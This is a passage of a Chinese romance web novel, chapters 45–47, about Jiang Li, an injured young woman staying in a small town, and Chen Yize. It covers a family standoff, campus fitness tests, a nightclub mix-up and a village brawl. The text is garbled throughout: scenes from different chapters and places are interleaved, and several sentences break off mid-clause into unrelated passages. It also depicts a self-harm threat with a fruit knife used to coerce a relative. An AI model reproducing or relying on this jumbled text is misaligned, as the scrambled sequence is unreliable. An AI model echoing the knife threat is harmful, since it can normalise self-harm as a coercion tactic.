骨骼持续性地发软,姜厘身体还没从刚才被支配的恐怖境地中脱离出来。 她垂眸,顶着张惊魂未定的脸重新给陈屹泽量身制定了新的惩罚机制。 “下葬了,”姜辞忧说,“上车,我带你回去见我妈。” 他矜贵抬手,指了指身边的位置。 “我不想见,谁的妈都不想见,还有你,我不想见,”姜厘看着他,“你应该知道,我除了和你一个姓之外,现在没有任何关系。” 姜辞忧面不改色低声相劝:“厘厘,十车人,总有让你不太体面上车的办法。” 他轻描淡写地暗示会丧失尊严的可能性。 姜厘没忍住笑出了声,引得姜辞忧正式看她。 “来。”她说。 姜辞忧看向后视镜,司机获意,按下指示键。 前后两辆车的人尽数下车,渐渐围过来。 姜厘拔出握在手里的水果刀,刀尖对准自己下巴,动作流畅得令人心惊。 她盯着姜辞忧又说了一遍:“来。” 姜辞忧下颌立时收紧,眼底的怒意昭然若揭。 冰凉抵上皮肤,随之而来的不是对死亡的恐惧,反倒是一种奇异的平静,前所未有的疲惫席卷全身,决心不变,但她再没有比现在这一刻厌恶生活。 从来都是一塌糊涂。 好在她依然有力气还绝境以决绝。 “你是哥哥,让让我吧,”姜厘笑着说,“五。” 她开始倒数,姜辞忧显然明白数到一会发生什么,但只是眸光不善地看着人。 姜厘没所谓,数得很快。 到“三”的时候,姜辞忧做了个开口的动作,似乎终于准备妥协。 “二。”姜厘没有停顿,继续倒数。 对峙中,摩托引擎的轰鸣声比姜辞忧的语言先声响起。 秋芒镇治安小狗又出动了。 姜厘美滋滋地小跑上去和他并肩走,“欸,你知道有个实验叫——” 许是猜到了她心里想的什么,陈屹泽弯唇,低眸借她的手机敲字: 【我不是巴甫洛夫的狗,我是姜厘的小狗。】 第 45 章 第 45 章 陈屹泽当狗当得很熟练,一路嘘寒问暖,虽然嘴上没个把门,多是插科打诨,但还是充分坐实了自己的弱势地位,下车时的车门都是他绕过去帮开的。 男生倚在车侧,帮挡车框的手在见她下来后又熟练地牵上她。 姜厘心情好,暂时没挣脱。 舒畅的晚风拂过面颊,她抬眸,忽地在廊前看到一辆陌生的商务车。 车身偏高,厢体壮硕,前脸凶悍得像只张开嘴的巨齿鲨,偏偏黑金色车体上滑稽地贴了几张艾莎公主的贴纸,看着有些不伦不类。 好巧不巧地停在前院门前,把进家的路全都堵死了。 姜厘默不作声地杵杵陈屹泽,还没等他反应,不远处的车窗倏然流利地降下来。 秋芒镇已经有几个景点体验项目对外开放,山里那个蓝水池子还是比较受欢迎的,近半年来打卡的游客很多,但始终还没正式形成规模,再者大部分都是自驾前来,小镇班车还是服务于本地人员,时间安排极其有个性,早晚都各自有两班来回的,一般坐的都是人。 午后这班,拉着前村后山的人狗鸡羊,跑个来回,车厢里的味道是桐油在腌菜缸里泡制多年的生活气味,深刻入骨,十分难忘。 这就是秋芒镇,偶尔现代,时常粗糙,习惯性半死不活。 据姜厘本人说,她来的时候坐的就是这个班车,还与隔壁老爷子相谈甚欢,几乎要拜把子。 她活像个很奇怪的过滤器,能够将任何杂不堪筛住,抖抖摇摇,只给自己留下好东西。 不记得拥挤难闻的车厢有多难待,却记得一个说话有趣的大爷。 “看着路。”陈屹泽停好摩托,对四处探头乱看的姜厘打了个响指。 成功把马上要踩进沟里这个人的注意力吸引回来。 姜厘指着街对面的奶茶店,“走吧,我请你喝东西。” 陈屹泽付了款,把冰奶茶递过去给她。 姜厘接过去道谢,说下次一定会记得带钱出门,吸了一口奶茶,表情果然变得呆滞。 陈屹泽当然知道班车站门口的奶茶喝起来跟油漆没有区别,又不忍心阻止姜厘体验,顺理成章地欣赏起她难以下咽的表情。纪隽一脸疲累地倒在后排按摩座椅上,瞳孔倒映着星空顶的淡光,“小屹,小厘,你们回来了?” “纪叔。” 陈屹泽应完,察觉到手心被撬起。 姜厘在身侧焦灼得快要冒烟,想抽手却死活抽不出来,她听到男生一声低笑,在她快要发飙的前夕踩着点松开了手。 车身底盘高,加上夜晚视野不良,应该看不到吧? 姜厘犹豫着上前也叫了声“纪叔叔” 纪隽笑着应下。 “湘湘又往您车上乱贴贴纸了?” 陈屹泽视线落在车上的贴纸,笑道。 他拿了瓶矿泉水,看着发呆的她发了会呆,想起一件事。 “齐群到底听见什么了?” 姜厘反问:“你很关心他?” 像是还在试图接受奶茶的余韵,声音有些黏连。 “说不上关心,但也不能看着他这样,”陈屹泽手指骨节扣扣桌子,“我看他状态不太好。” 姜厘抬起眉毛,倒是没再说多余的话,“二丫什么时候出嫁?” “下个月初五。”陈屹泽说。 “那等二丫出嫁之后,我会去和齐群说,别聊了,让我睡会。”姜厘迅速做出保证,把杯子往前一推,整个人就要趴去桌上。 店面大门朝向大路,更何况是在车站附近,还有,姜厘今天又穿了一身白。 陈屹泽伸手,食指抵在她脑门上,余光看了眼老板的位置,用口型告诉她:“桌子脏。” 姜厘被迫因为这根指头而仰着脸,刚才打了个哈欠,困得实在厉害,眼睛眯缝,听不进去任何话的样子。 陈屹泽试着松点力气,那颗脑袋立马就要往下砸,搞得松手也不是,继续戳着也不太合适。 “你等一下,”陈屹泽说,“坐好。” 姜厘眯着眼看人,展现一种并不领情但也听话的状态。 陈屹泽今天特意穿得比较正式。纪隽一怔,半颗脑袋探出头才看到窗下淡蓝色的卡通公主形象,“……我说刚才酒局投资商怎么开始就给我点了个果盘。” 男人失笑着开门下车,身上带着薄薄的一层酒气,“你爸让我过来看看你们,顺带蹭个晚饭。” 纪隽又笑眯眯地转眸看姜厘,口吻打趣,“不介意吧小厘。” “怎么会介意……”姜厘表情惶恐。 这是她能介意的事情吗! 她要是能介意,早就把陈屹泽丢出去,带着何管家,孙妈,张保姆,开开心心组成四口之家了! 陈屹泽察觉到自家叔叔的恶趣味,伸手安抚地摸了摸姜厘的头发,“先进门吧。” “你离我远点儿。” 姜厘眉心狂跳,用气音暗自警告他。 纪隽目光在两人的亲昵举动上停留片刻,随后对上女生忌惮的视线,视作寻常地笑了下,“走吧,外面风凉,我一身酒气,还要先借浴室洗个澡。” 泊车的刘司机恰好跑来,接过陈屹泽抛在半空的车钥匙,纪隽的司机跟着一同把车驶入地下车库。 姜厘一路都落他们两人半步,换鞋的时候也是错了时差磨磨唧唧地换完了。 再走进来时,纪隽已经抱着何管家整理好的洗漱用品上楼了。 他气质很随和洒脱,明明大一轮的年纪却还是能和陈屹泽打成一片。 姜厘听到他故意作势要去少爷房间的浴室洗澡,被丝毫不讲情面地拒绝后爽朗大笑。 纪隽上楼后何管家也跟上二楼去打点客房,孙妈和张保姆忙手忙脚地在厨房加菜, 姜厘身形轻盈,找准间隙鬼魅般地出现在客厅茶几前,一把抽出男生手中的报纸。 “你跟我过来一下。” 阳光透过站台的玻璃,视野之内所有都是明亮,很容易看见那个高马尾的白T恤女孩,她同姜厘一样拥有不属于小镇的风格,很容易辨认。 双方寒暄,女孩说叫她小安就可以,言行并不像短信里那样得体从容,是有些毛躁地再三追问厘姐在哪。 陈屹泽带她出来,姜厘已经抱着牛仔外套等在几步之外,对上目光的同时,她微笑着迈步过来,一边张开手臂,一边把衬衣塞去陈屹泽手里,对小姑娘喊了句“来抱抱”。 小安当即哭喊着扑过去。 翻出几乎用不上的网格衬衣,虽然比不了西装,倒也能体现重视,里面还套着T恤。 把自己的衬衣脱下来,把贴身那面朝上,顶着奶茶店老板刀子一样的目光把衣服垫去桌子上,还没说话,姜厘立马就把脸埋了进去,脸面向墙壁,脑门和发顶对着陈屹泽。 她是真的很困,昨夜很努力想要是睡着,结果越努力越心酸,一直清醒到天明,本想着早上好歹能困,兴许能睡两三个小时,又想到很快就要看见小安,各种情绪疯狂在心里产生反应,没能休息一会。 直到现在,旁边有人陪着,汽油味的奶茶都变得催厘起来,困意上涌,姜厘不愿意错失良机。 衣服上干净的、带着体温的肥皂香味让人无比安心。 姜厘很快就睡了过去。 就刚才那么随手一戳,她额前就留了个印子。 这么娇贵一个人…… 陈屹泽看向她的右手,只瞧得见指头,杏仁型的指甲被修剪得很整齐干净,指形流畅,拥有很漂亮的线条。纱布还是裹得很厚,她应该有按时把自己送去镇医院换药换纱布,但也来了这么些天,还要裹这么厚,没有好转的迹象。 他对这只右手的观察时间比自己想象中要长,悬在他们头顶的电风扇已转了几十次脑袋。 “姜厘?”他轻声喊。 姜厘睡得毫不设防,脸侧被挤出个小肉堆,和快要被晒化的棉花糖一样。 陈屹泽扭开自己没有喝过的矿泉水,倒了一小瓶盖,站起来,弯腰,很细致地沿着姜厘的嘴角倒了一小条水痕,甚至还用手指抹开。 很是贴心地为她在衣服上制造了条口水痕。 又害怕天气热水痕干得快,陈屹泽又严谨地补了两瓶盖。 电话果然在约定时间响起,陈屹泽有意让它多响了几秒,顺带让姜厘醒过来。 “喂,你好?我现在下了车,正在往出站口走,请问我现在应该去哪里找厘姐和你?” 听声音是个年轻女孩,声音和信息里那股操心劲儿有点对不上。 陈屹泽告诉她自己会去车站门口等她,挂了电话偏头一瞧,姜厘脸侧被压得泛红,那一边的头发乱了几缕,困倦地挂在脸边,她还没完全清醒,低着头,迷茫地观察衣服上那条水痕。 陈屹泽忍着笑,起身交代人:“你醒醒瞌睡,在这等我,别乱跑。” 姜厘很慢地点头,依然难以置信地盯着衣服,同时困惑地抬起左手摸了摸脸。 姜厘默默鼻子,躲开目光。 “那就加油吧,光是拿到高校竞赛资格难度可不高,但最终亚洲的决赛,及和北美的总决赛就难如登天了。”纪隽又笑, “这小姑娘,有几分他爸之前在兵营的样子。” “兵营?”陈屹泽动作稍顿。 “对啊, ”纪隽夹了块鱼,有一搭没一搭道,“上次你爸跟我说了,二十多年前,小厘爸爸和他一起当过兵。” “我记得你爸下海后还跟我们说呢,在部队击鼓传手榴弹,他差点被炸死,多亏了旁边战友把炸弹从他手中抢出去扔了。” 第 46 章 第 46 章 B市放晴多日, 大片绵软的云闲散地荡在操场上空,接连28℃以上的天气热到让人仿佛怀疑是在夏季。 姜厘目光被刺目的眼光照得发疼,她停顿片刻,拽着柏然到旁边林荫树下乘凉。 “所以厘厘,你真的要参加IPOM啊?” 柏然穿着一身白色运动装,叉腰,象征性地用手给自己扇风,“身体能吃得消吗?” 又是上课又是准备比赛,还加了外面的工作室,把人劈成三瓣也不够用啊。 一万句定义劈头盖脸地浇下来。 姜厘始终保持着习惯性的微笑,十分得体地收下每一份流于表面的关心。 窗外是那座城市惯有的阴雨,不禁让人合理怀疑这个世界将永远停步于坏天气,并且为了这个怀疑而失去呼吸的力气。 她把视线移向房间里唯一的、流动的色彩。 电视上放着一个小镇的纪录片,阳光泼满大地,绿草地上有个牛奶厂,站在奶场的山坡上,可以俯视灰砖白墙的老镇。 姜厘不太记得当时身边是谁,但记得自己说想要喝牛奶。 很快,好几盒包装精致的牛奶就被放到她面前。 然后她又听见自己说,不是这种。 接着又道歉,解释自己并不是故意为难人。 在所有人终于评估完她的实际价值或许将要因为右手受伤而大打折扣之后,病房重归安静。 门外却还闹着,听声音是舅舅和舅妈被保镖拦住,气急败坏地喊她这个忘恩负义的杀人犯,主旨是要她赔钱赔命,之后就是姜厘这辈子都难以复述出口的辱骂。 姜厘联系了小安。 “我要走了。”她说。 自生病住院到出院,再接着遭受事故伤了手,这半年全躺医院里了。 心理医生面诊之后,给出的评估结果并不美妙。 小安问她想要去哪,悲愤且义气地表示,可以拼了命让她去任何一个地方。作为一个上课就已耗费了所有灵气的低精力人士,柏然想想都叹了口气。 “陈屹泽那个工作室先不去了,当下的重点是参加IPOM,”姜厘揉了揉干燥的鼻腔,抽出张湿巾蒙住鼻子大口呼吸,“受不了了,B市怎么这么干啊。” 已经好几天湿度都将将维持在15度,她真的感觉自己快自燃了,附近光消防车的声音都听了不下三次。 “没办法,我们这里就是这样,来年春天更惨,一边下柳絮雪,一边干得要命。”柏然早已习惯,抬眼望向不远处,“最惨的是半小时后我们将面临第一次体测。” 姜厘当真思考了好半天,好笑地发现自己没地方可去。 手脚有些凉,很想晒晒太阳。 她再一次看向电视,同时对手机里的小安说话。 “稍后我发一个地名给你,你帮我看看是否有老屋出售,我想去养老。” 小安嚎啕大哭,连连答应下来,“姐!只要你不是要买坟,我都给你看!” 很难开口,差点就颓丧得快要活不下去,也没什么力气挣扎,却还记得曾经心爱的那本书上写过的话。 人只有在举目无亲的地方才算真正活着。 就是这么来的。 遇到陈屹泽是意料之外。 秦晴这个名字在她的生命里已经是一段不愿再回首的历史。 看他的反应,似乎已经不记得当年的告白。 姜厘这个人也无法成为少年情愫的续集,所以没有相认的必要。 如今再见,陈屹泽已经生长得很好,似乎经历过一场灾难,让他成长为一个稳重可靠的泽年,很扛得住事儿。 虽然记性不太好就是了。 姜厘在心中腹诽良久,抬眼发现陈屹泽还在等待自己的回答。 “哎。”姜厘故意出声。五道口体育学院发力了。 男生每年体测三千米,女生一千五,甚至不会游泳不能毕业,一读一个体育生。 搞得柏然现在出门见到漂亮妹妹都想耍流氓:妹妹喜欢体育生吗?我上过几节体育课。 认命活动着脚踝,柏然周身死意渐浓,“我倒是不怕跑这一千五,但游泳真的不行。” 姜厘记得柏然跟自己说过她小学时差点溺水的事件,安抚地拍了拍女生的背,也迟缓地叹了声。 “我不怕游泳,我怕跑步。” 她小学时在游泳馆学过游泳,虽然有可能早就忘了,但显然现在的长跑才是最应该让人担心的。 从小到大,中考的800米仍旧是她跑步的最远记录。 姜厘望着硕大的操场,小脸已经吓得煞白。 “你俩干啥呢?” 不远处,徐轻川提着两瓶矿泉水悠哉悠哉地踱过来。 “你来操场干嘛,你们大二不是隔两天才体测吗?”柏然一脸疑惑。 “陈哥让我每天过来跑三千米,说要磨练我的心智。” IPOM大赛在即,徐轻川听说后也急着恶补编程知识,但陈屹泽阖了他的电脑,让他临开赛前几天再临时抱佛脚,这几天先跑步。 他本来想黑了keep后台给自己刷一个绕场三千米的记录,结果对方早有预料,放话说如果发现他作弊,直接不带他组队了。 于是,徐轻川来跑步的第一天。 还没被三千米压力到,先被满操场的人吓到了。 “跑步跟参赛有什么关系?” “嗯?”陈屹泽立马回应。 他走着路,脑袋却朝后瞧,没发现前方的电线杆,众望所归地撞了上去。 姜厘笑了他好久。 陈屹泽捂着头,没多会,自己也莫名其妙笑起来,还要问:“你笑什么?” 姜厘弯着眼继续往前,“怕我不给钱?” “不是。”陈屹泽跟上她,“我想听听你会怎么敷衍我。” 姜厘震惊于他的不遮掩,也愿意回报以诚实,“你很好,但我不想告诉你。” 陈屹泽意外地梗了梗脖子,干巴巴地讲:“你不对谁都都能说嘛?” 都不好分辨哪句真哪句假。 “总要有个可以说真话的人。”姜厘看了他一眼,“夸你的话是真的。” 陈屹泽瞪着她,反复确认自己刚才那句心里话的确没有说出口。 “夸你的话是真的。”姜厘重复说。 陈屹泽把目光移向别处,“哦。”合作的律师是个玩咖,叫来的女孩也不是吃素的,早听说过陈屹泽的大名,上前献殷勤。 一名穿银色细肩带短裙、踩高跟的女人越过她,径直坐到陈屹泽身边去。 Amy怨气深重,是不是gay她还能看不出来?凭她久经沙场的经验,陈屹泽一定是极品,床上必定凶。 镜头糊糊的扫过去,其中一张脸,在薄薄烟雾后,鼻梁挺直,眼神冷峻。 高级会所,正是灯红酒绿,几名被西装革履裹惯了的男人卸下外衣,解开衬衫纽扣,悠闲懒散的坐在包厢卡座里。 分完卤味,姜厘回到家里,把清单给姜爸爸看。 开了瓶XO,混着冰红茶,在玻璃杯中,闪着一种冷冷的茶色。 陈屹泽眼皮一撂,落在身侧女人脸上。 女孩看的吞口水,上前一步,但下一秒,就被别人按住肩膀、拨开。 同行笑着将女孩拉开,给了陈屹泽一个“你自己体会”的眼神。 也已经四五杯下肚,有了醉意。 他斜靠在沙发中,肩宽腿长,薄薄眼皮泛着淡金色,五官轮廓好似刀削斧凿,陈屹泽这幅皮相,从当大少爷到陈总,没打输过。 Amy才要开口,沙发一空,陈屹泽站了起来,指着旁边一人,淡淡的:“跟我换个座。” 陈屹泽自顾自饮酒,并不理会。 姜爸爸叹着气笑,摇头说:“这个林老师……” 酒局里少不了女人,有人叫了女伴来,脸蛋姣好的年轻女孩走进卡座之中,熟稔的与之调笑。 姜厘咬了会儿指甲,戳了戳屏幕,给陈屹泽发信息:“你在干嘛?” 一些是网上大厅就能办的,一些则得去现场。去现场的占多数,姜厘用圆珠笔戳着头皮,想要唉声叹气。 酒过半巡,小插曲已经揭过去,Amy拎起小包,和几个女孩一起去洗手间补妆。 朋友圈里,大家更新了自己的动态,姜厘看到一位工作上认识的人,发了那种摇摇晃晃、灯光迷离的视频。 正是陈屹泽。 可他为什么到现在都不理她? 是她身材不够好、长得不够美?他眼光高到什么程度?难道要一线女明星么! 女孩们叽喳讨论: “是不是有女朋友?” “没听说呀。” “那怎么会这样呢?” 一段铃声响起,夹在女孩们的声音里。 其中一个从包里掏出陌生手机,“咦“了一声,举着问其他人:“这是谁的手机,怎么在我包里。” 女孩们相互对了对,Amy忽然眼睛一亮:“这是陈屹泽的手机!” 卡座里人多混乱,她应该是出来的时候拿错手机了。 那女孩有些害怕,感觉手机烫手。 哪敌的过amy眼疾手快,一把就抢过了手机。 再定睛一看,手机屏幕上显示了一个未接电话,还有几条最新信息正弹出来: “你在干嘛?” “你要生气到什么时候呀QAQ。” 陈屹泽给对方备注是:小乌龟。 Amy:破、案、了。 Amy计上心头:“你们想不想看看,到底是谁睡到了陈屹泽?” 姜厘刚要放下手机,就接到了陈屹泽的回电。 她不假思索接通,还没说话,听见那边陌生的女声。 片刻后,姜厘急匆匆穿上鞋,抱起手机钥匙,朝外跑去。 姜爸爸听见开门声音,探出头来,一看女儿这么晚要出门,担心道:“怎么了?要去哪?” 那女人说,陈屹泽太醉了,不能开车,让她过去接一下。 陈屹泽怎么会喝成这样呢?他在社交场上向来游刃有余的。 他叫住:“你等一下,你说长什么样子?” 陈屹泽拖她进室内,双手捂着她手,劈头盖脸的骂那两个保安和跟上来的经理:“都说了找我,不会带进去?零下的天气,冻出问题你们负责?” 保安:“好的,我想她也是找错了,我让她走。” 那房间是小包,暖气开的足,灯也全打开着,没什么旖旎的气氛,服务生拿热水袋、热茶饮 陈屹泽皱眉,四周音乐嘈杂,他以为自己听错:“找我?我没有叫人来。” 保安:“我问她叫什么,她在那儿‘呦呦呦’的。” 那小脸冻得雪白,蹲在石墩子后面挡风。 “陈屹泽?”声音从石墩子后面传过来。 “这是怎么了?” 好多人…… 姜厘冻傻了,“啊?”了一声。 将酒杯“咚”的一声搁在桌上,一眨眼功夫,陈屹泽猝然起身,离开房间。 即便如此,姜爸爸仍然陪着她到了马路边,送她上了的士,记下了号码牌。 她半蹲着,睁着眼睛,吃惊:“你自己能走啊!” 姜厘从车上下来,她还穿着毛茸茸的棉鞋、白色长毛衣,头发扎成一个丸子头,小脸素净,大眼睛扑闪。这片是高消娱乐场所的聚集地,江水金光粼粼,吹过的夜风中有酒精、香水和人民币的气息,过路豪车美女不计其数,纷纷向她这异类投来奇怪的目光。 姜厘反复核对地点,攥着手机,闭了闭眼,走到会所门口。 门口两名保安同时伸手,拦住门口:“小妹妹,你是不是走错了?” 但那人给出的地址就是这家会所。 约莫二十分钟,的士停在外滩高级会所前。 陈屹泽单手握着酒杯,抿了半口,忽觉得不对。 也没愣着,经理立刻去开空房间出来,带陈屹泽、姜厘过去。 她将来意说给保安听,保安相互看看,道:“麻烦把房间号、姓名告诉我们,我们进去问一下。” 几人起哄:“哎哟,小姑娘,漂亮不?叫上来,桃花债啊。” 姜厘心中焦急,又不想爸爸担心,道:“工作,是工作上的事,我去去就回。” 他气不打一处来:“穿一条毛衣在这里吹风,你是不是傻!” 外界寒风凛冽,气温比室内低一大截,陈屹泽在门口看了一圈,谁也没有。 他视线往下,看见一个毛茸茸的头顶,是姜厘把脑袋探了出来。 保安描述:“一个小姑娘,怯生生的……“ 她的手落进他手掌心,是冰的。 陈屹泽脸色一变。 经理连声赔罪,不敢得罪这级别的客人。 “还真是桃花债啊?” 陈屹泽走的非常快,保安都撵不上他,转眼,就下了楼,到会所门口。 陈屹泽“嘶”了一声,迅速把她捞起来。 姜厘倒是希望自己走错了。 几人都一愣。 他不常在家里开火,要想真做个什么能吃的,厨艺天赋也不允许,不是每一个生活在乡村小镇且遭遇苦难的人都拥有烹饪的能力。 没特意学过,煮熟倒是完全没有问题。 理想情况是炒个肉酱,或者炸个葱油,煮锅面,再烫两片泽菜。 可陈屹泽不会炒肉酱,又不忍心真的就煮一锅清汤寡水,所以他拆了袋方便面,煮了把新“估计是他太吊儿郎当了,哥哥要培养他坚韧的个性。”姜厘当面蛐蛐。 “喂喂,我还在这呢。” 徐轻川抬手装作要揍姜厘的样子,看到手中的矿泉水才瞬间明白了意图,“我靠,我说为啥让我一个人买两瓶水,合着是给你俩的啊。” 手中的水瓶还没递过去,陈屹泽就慢腾腾晃了过来。 姜厘探头看到他同样一身运动装,更摸不着头脑,“你这是——” “你脸色怎么这么苍白?” 男生肩背挺阔,宽肩窄腰地立到她对面,没一会就吸了不少人的眼球,他恍若未闻,嗓音带着笑,轻嘲她。 “小趴菜。” 陈屹泽真心实意地沉默了起来,扭头去看她,试图这颗漂亮的脑袋里是什么成分。 姜厘的表情当真是一本正经,毫无玩笑意味,但也很快就收回注意力,继续往前走。 “想吃什么?”陈屹泽问。 “我助理联系过你没?什么时候来呢?”姜厘说。 陈屹泽这才想起来,这人还没回民宿,只好面对面再说一遍收到的消息内容,又着重讲:“我本来给你留了纸条。” 姜厘“嗯”了一声,回忆道:“今天我看见你了,下棋的时候,你在路边嘲笑我。” 她下了结论。 陈屹泽当然不能平白被污蔑,“不是嘲笑。” “怎么那时候不来告诉我呢?”姜厘偏头看他。 陈屹泽就说人太多。电话是徐轻川打来的。 H大商科那边有个什么瑞士的夏令营,赵朝刘出岸他们都去那边了,他爸妈生意做到意大利,今年决定跟嫁到那的小姨一块过,好好的一个元旦,愣是没人跟他徐小少爷一起共享。 于是他昨晚连夜打包行李,直接飞到美利坚来求收留。 打电话让陈屹泽去接机,结果哥们不知道怎么心情不太好,回了他一句滚随后挂了电话。 好在他收到了一栋别墅的定位,自己花高价打车过来了。 进门时碰巧看到车弯拉着行李箱也往里走,徐轻川揉揉眼睛,还以为自己看错了。 还没等他惊讶,下一秒,连廊花园门稍打开,屋内的热气倾泻而出。 姜厘从里面探出头来,围着围裙眼睛弯弯:“快进来吧,外面冷死了。” 车弯最近也在看回程的票了,她来的这段时间姜厘一直忙着学校的事情,没怎么招待她,于是趁着刚才教授善心大发给的元旦假期,直接宴请了认识的所有朋友,开个小party。 听说这边party文化盛行,她还没正式参加过。 车弯对徐轻川刚才惊异的眼神有所不满,白了他一眼,踏着八厘米细跟直接进去了,张口还是为自己小姐妹打抱不平: “陈屹泽死了,让你戴围裙?” 落地窗隔音效果极好,车弯一进门,节奏感超强的音乐声就从四面八方涌过来,女生怔住,随后遥遥一望,一屋老外。 “我去!” 姜厘弯唇笑了一声,随后把徐轻川也迎进来,招呼黛西他们认识。 “这是我的好朋友车弯,现在是jlnr手作的一名设计师,这个是chen的好兄弟,IPOM大赛的成员,你们应该知道他吧?” 姜厘话音未落,人来疯徐轻川已经完美融合进了party,冲到伊登面前重新自我介绍,把原本的“大赛成员”这几个字换成了“金奖成员”。 奈何他只认识伊登一人,不知道银奖战队其他三人也在场,最后被围着一堆猛锤。 黛西揍完徐轻川,又自然地上前跟车弯自我介绍。 话音刚落,黛西手机震了两下,有些苦恼地看向姜厘。 “煮碗面吧。”姜厘滞后地回答了问题。 可悲的是,陈屹泽明白得很快,像是已经习惯这种跳脱的对话,也或许是因为这么点小苗头,他甚至觉得自己多问两句应该也没有问题。 “为什么来这呢?” 相信在这几天里,姜厘听过无数人问她,也对症下药给出过许多版本的回答。 陈屹泽也想听听属于他的这个版本。 听到了沉默。 姜厘依然在晃晃悠悠地走,看着不太像是想要回答问题的样子。 为什么要来呢? 她记得自己坐在病床上,身旁围着一万颗同时说话的脑袋。 “我觉得还是要转院。” “先发通稿,不然下个月的表演会要怎么解释?” “联系到比较权威的复健师。” “别妄想天开,她这个状态没法上台。” “当时就是疼得想撒娇,随便说的。” 视线在脸上许久没褪,直到察觉出姜厘脸上有些不耐烦,陈屹泽才识趣地收回目光,转身。 “好。” “不是要拿书吗……?” 姜厘咬唇,有些迟疑地望着他的背影。 “没有书。” 陈屹泽头也不回,不羁的背影在松白台阶上渐渐变小。 第 47 章 第 47 章 男生稍显落寞的背影在人群中格外突出, 刷卡成功后,闸门打开,但一直到挡板自动收缩回去,姜厘都没有迈进图书馆。 她想到陈屹泽笑时张扬恣然的眉眼,忽然不想他就这么回去。 抬起腕表,确定好他一会上课的时间。 姜厘往旁边错了些,将出口让开,随后点开微信找到陈屹泽的对话框和他沟通。 手机来信,姜厘的助理发来一个行程安排,包括飞机降落,转什么车,甚至还考虑到路上耽搁,最终给了个到镇上的时间区间。 五天后,下午两点到三点。 陈屹泽曾把姜厘所在民宿的联系电话发给对方,但这个助理坚持联系陈屹泽,把姜厘的吩咐贯彻到底。 陈屹泽回信:【需要帮你联系车吗?】 【不需要,很感谢你,但需要你帮我联系厘姐,叫她记得时间,这段时间千万别乱跑。】 姜厘守不守时陈屹泽不知道,随性多少了解一点。【哥哥,不要多想。】 余下一段哄人的话还没打出来,对面就已经飞快弹出回复。 【我知道。】 姜厘沉了口气,磨磨指腹,重新打字。 【你不开心吗?】 陈屹泽:【有点。】 姜厘:【为什么?】 陈屹泽:【不知道。】 姜厘蹙眉,撑着透明玻璃门,犹豫:【还记得前几天我们说的话吗?】 【我亲你一下,你不许不开心了。】 姜厘伸手要接,指头几乎就要碰到瓶身,陈屹泽却突然把手收了回去。 他低头看了看酸奶瓶上面的那块污渍,犹豫片刻,艰难地在自己衣服上寻找到一块干净的地方,然后拎起那块布,认真地把瓶子擦了擦。 擦拭完毕,重新把瓶子递过来。 “先垫垫。”他说。 他这样,姜厘反倒收回了手。 陈屹泽不解地看她。 姜厘说:“你这样,好像是很关心我。” 陈屹泽垂眼去看酸奶瓶,湿漉漉的睫毛扇了两下,最后直视姜厘的眼睛低声询问。 “不可以吗?” 他说着,人也往前半步。 陈屹泽身上还是淌着打斗的余热,随着距离缩近,强劲又霸道的热气随之扑过来。 像是在把问题完善。 我关心你,你要么? 姜厘站得很稳,虽然没有后退的想法,却也意外地抬了抬眉,最终无声地笑了一下,伸手示意。 对他说:“给我。”陈屹泽:【deal】 陈屹泽:【你现在下来。】 姜厘挪到台阶边缘,一眼就看见了在树边站着的陈屹泽,男生唇边明灭着火光,腾出手跟她打字。 只是下一秒,他就将没抽完的烟掐灭扔进了附近的垃圾桶中,抬眼看过来。 交错的视线被来往同学不间断地遮挡又重新连接,姜厘小跑下来,低眸从包里抽出湿巾递给他。 灰蒙蒙的烟蒂还残留在男生食指,他接过后仔细把手指擦拭干净。 四周只余一点淡淡的薄荷味,本来就没抽两口,何况后期对姜厘有了好感后,他就只抽卡比龙的薄荷味。 这是照猫画虎,学的车弯。 二是,因为众所周知的历史遗留问题,陈屹泽一人要照顾九个家,他不能出事,至少不能是齐群让他出事。 这些道理齐群懂,陈屹泽也明白。 但这次不一样,因为二丫真的要出嫁。 齐群不能接受自己喜欢二丫这么多年没个好结果,只能把怒火发泄到陈屹泽身上,认定一定是陈屹泽从中挑唆。 这次终于是把人堵在门口。 齐群没有参与打斗,抱手在旁欣赏。 围观的人开始劝齐群别下手这么狠,他哪里听得进去,求情的人越多,他越是大喊:“给老子往死里打!” 姜厘身边的大姐把她往后拉了拉,小声介绍:“齐群今天喊了周边村子里的混混。” 姜厘注意到还有两个人被架着,无法过去帮助陈屹泽。 是孙明和王天,两个人都红着眼,急得骂娘。 而斗争的中央,陈屹泽被三个人围住,衣服凌乱,没有落下风,但难免挂彩,一记肘击打退侧面的人,右手就被拽住,侧脸没避过拳头,被打得后仰,却像不知道疼一样,立马站直把这拳还了回去…… 时近傍晚,被保护的、白净的院门亮起了灯,飞蛾和各色小虫不知疲倦地往上撞,薄光打在几个纠缠的身影上,尘土飞扬,影影幢幢。 皮肉相撞的闷响,喘\息\粗\重,叫骂叠起,最终被压低的议论声包裹,偶尔听得见求情的话。 目光、议论、怜悯、愤怒、鄙夷。 陈屹泽在旋涡的中心搏斗,夏蝉开始乱吼,声声狰狞,把仲夏烧至焦糊呛鼻。 受伤的治安小狗。 “不报警吗?”姜厘偏头问身边的大姐。 大姐奇怪地看了她一眼,才说:“一会警察就来,他三叔也会提着刀来,没用啊,管得了今天,谁能管明天?没人能管得了陈屹泽,谁让他老子害死那么多人。” 姜厘没说话。 大姐以为她是被吓到,安慰:“放心,打不死。” 姜厘说:“这不还没人来么。” 大姐没听清,让她再说一遍,但姜厘已经迈步走向旋涡。 “大家都看看!这个杀人犯的儿子怎么勾引小姑娘的!”齐群正喊着,余光瞥见一个人走近。 他认出这是陈屹泽家老屋的买主,那个城里姑娘。 他那天发现她抽这款烟后身上味道很小,姜厘靠近她时也没有下意识皱鼻子。 “你低一点。” 姜厘拽他上衣。 距离瞬间缩短,呼吸喷洒绕在鼻尖,感应到姜厘眼神聚焦的位置,他低眸稍往边上错了些。 “别亲嘴巴,有味道。” 家里老太太每天都要喝新鲜牛奶,陈屹泽下午骑摩托去奶场途中绕道跑了趟民宿,王天告诉他人中午就出去逛了。 昼伏夜出得毫无规律。 不知怎的,陈屹泽突然想起原 先家里跑来过一只猫,浑身雪白,有双不染杂尘的蓝眼睛。 它出现在门廊下,安然熟睡,似乎天大地大,全大不过它的心意,喜欢在陈屹泽最忙碌时跳上工作台捣乱,又在家里人闲暇时不见踪影。 出现得毫无征兆,最后离开也毫无征兆。 像是待够了就走。 陈屹泽路过小镇的文化中心,看见了姜厘,为此放慢骑行速度。 他在王天那留了纸条,现在就没必要去和人当面说话。 但陈屹泽还是多看了两眼。 姜厘背着手,煞有介事地对着俩下棋的老头指指点点,把人说得暴跳如雷。 